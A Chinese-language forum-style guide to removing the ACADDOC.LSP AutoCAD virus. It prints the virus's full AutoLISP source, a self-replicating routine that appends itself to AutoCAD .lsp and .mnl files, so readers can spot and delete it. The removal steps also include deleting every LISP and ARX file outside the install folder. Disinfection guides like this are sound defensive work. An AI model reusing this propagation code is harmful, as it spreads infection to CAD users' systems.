acaddoc.lsp病毒问题

acaddoc.lsp病毒问题

解析ACADDOC.LSP病毒文件与杀毒方案 CAD的病毒很多但都大同小异。现就出现的ACADDOC.LSP病毒进行杀毒。不用重新安装CAD的办法。

1、发现文件夹中多出ACADDOC.LSP,或者启动CAD时命令行狂闪,说明你中毒了。

2、关闭CAD程序。

3、全盘查找 *.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。

4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。(具体操作见下面说明,文件用记事本打开。)

5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。 说明:

1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp;3darray.lsp;acad20**.lsp;acad20**doc.lsp;acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp文件。2、最好将X:\Program Files\AutoCAD 20**\Support文件夹下的所有*.lsp文件逐一用记事本打开,在记事本中用编辑菜单中的查找,找到第一个setq flagx t,将后面的代码全部删除,因为后面基本是重复的病毒代码;如果没有找到setq flagx t说明该文件正常。 3、要删除的病毒代码具体内容如下,可以对比看看:

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

(load "acadapq")

(princ) 本人已经用上面的方法处理好了,并做了一个CAD2008的*.lsp文件包,如果需要可来信索要,将该包里的文件直接替换X:\Program Files\AutoCAD 20**\Support文件夹下的*.lsp文件即可。但请注意,如果你的电脑中还有包里没有的lsp文件,仍需用上面的方法处理。